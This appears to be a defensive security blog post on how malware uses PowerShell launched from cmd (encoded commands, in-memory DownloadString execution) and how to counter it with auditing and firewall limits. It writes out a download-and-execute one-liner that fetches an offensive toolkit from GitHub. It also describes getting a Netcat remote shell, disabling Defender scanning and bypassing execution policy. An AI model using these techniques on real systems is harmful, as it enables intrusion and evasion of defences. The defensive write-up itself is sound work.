With malicious parties continuing to use Powershell as their way in, I thought I would look into how it’s being used and what can be done to prevent it. This is something I’ve covered before, so think of this as a part 3:
I won’t be deep diving into the source code, but more looking into how Powershell and CMD are being used as a delivery mechanism. Below is a snippet taken from malware.
In the example above, they are opening cmd and quickly starting a Powershell session (within cmd). Although it’s inside the CMD session, it is actually treated as a separate process. This is important to know when trying to control or apply policy. Shown here:
Looking at the malware example, we can also see they pass a few parameters:
Does not load the Windows PowerShell profile.
Does not present an interactive prompt to the user.
Sets the window style to Normal, Minimized, Maximized or Hidden.
Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.
These are often passed using their shortname, example: -Windowstyle is -w.
At the end of the commend, we can see some encoded text. The last part is base64 and Powershell is running the code whilst encoded (-enc). It’s important to note that commands like this and others are audited by default. If you don’t enable auditing such as ScriptBlocklogging, it will be hard to see if commands like this have been ran.
If we decode the text, we can see what it’s attempting to DownloadString.
What it’s doing is downloading the string from the page XXX/vercheck.ps1 and running it, in memory. This is very common and is also how I present most of my scripts.
For instance, you can load RedRabbit by running:
powershell –nop –c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1’)”
This technique is commonly used because it actually bypasses most restrictions. It also leaves less of a trace as the script doesn’t need to be ran locally (from file). At this stage, your AV will most likely sit back and let it happen. So far, I’ve only ever seen an AV block an attempt like this when the follow style is used:
“C:\windows\system32\cmd.exe” /c Powershell.exe ……………
I’m assuming because they are monitoring the switch between processes which would be uncommon for normal behaviour.
Microsoft Defender (no ATP) is not one of these, and is often why I work with it. To show you an example, I’ve tweaked the malware script, and had it download Netcat, mask itself and starting a separate process which presents the text document.
Now I’m not trying to go full “hacker mode”, so the example is designed to simply show what “could” be done. In practise, the bad guy, would do far worst and most likely encode and hide their commands within a Word Document or Install file. In this example, I manage to gain a remote shell.
These types of attacks rely on the destination being reachable so that either the strings (Script) can be downloaded and ran in memory or for a payload (file) to be downloaded:
- (New-Object Net.Webclient).DownloadFile
- (New-Object Net.WebClient).DownloadString
If the destination isn’t reachable, these can’t execute. This is why firewall limitations may be a good idea. You could still allow Powershell.exe to speak internally by excluding private ranges such as:
- 10.0.0.0 – 10.255.255.255
- 172.16.0.0 – 172.31.255.255
- 192.168.0.0 – 192.168.255.255
Below shows that RedRabbit can’t be ran when Powershell has no internet access.
You could restrict based on bad IPs however, the bad guys could host their scripts on Google, GitHub or Azure, which would be hard to exclude/manage. The Windows Firewall does allow “user” exceptions, so perhaps if you are running scripts, the service account could be excluded.
Although certain security proxies, AVs or external firewalls can detect these attacks, the majority will go unnoticed. I do suspect the ones that do pick these up, are simply picking up the bad IP (host). The reason being is that the request is to pull clear text strings. This in itself isn’t a threat and is similar to the technique of hosting malware as malware.exe.txt because the .txt format isn’t seen as a threat due to it not being executable. Once downloaded and converted back to .exe, it’s up to the clients security controls to pick this up. At this point it has already passed the network controls.
In some cases, these malicious script will try and disable the local AV, like so:
If you have Defender and had ran the Malware as admin, the above would disable Defenders Auto scan ability, meaning the Malware might not be picked up until the next scheduled scan.
The Set-MpPreference is quite powerful and can also be use to set exclusions. Some malicious files have been seen to first set C:\ to be excluded, thus making Defender pretty redundant. The reason being is that turning Defender off will create a popup alerting the user.
Another Blue team technique is to set policies around Powershell. Policies such as restricting scripts to only be allowed to run if signed, or setting profile restrictions such as constrained language.
I’ve come to learn that these are somewhat pointless as they are either set per Powershell session or have a Powershell command which bypasses it, such as the one below (-Executionpolicy bypass)
Using a simple script, I can show you just how easy it is. Notice that I am not Admin or running a privileged session.
At this point, you may be coming around to the idea of restricting Powershells network ability.
Like mentioned above, although these attacks are ran within Cmd prompt, it’s actually a Powershell session (separate process). This means your restrictions will still be applied.
This goes the same for auditing.
It’s not all doom and gloom as certain AVs/security solutions can pick up on these. The latest version of Powershell also contain some security controls which do help to prevent certain attacks.
My advise however would be to get auditing enabled, as it’s not by default and to consider restricting the local firewall for Powershell or CMD. You can, go so far as to restrict it all together however it’s a really cool tool and can be used to automate tasks. It’s also really useful for troubleshooting.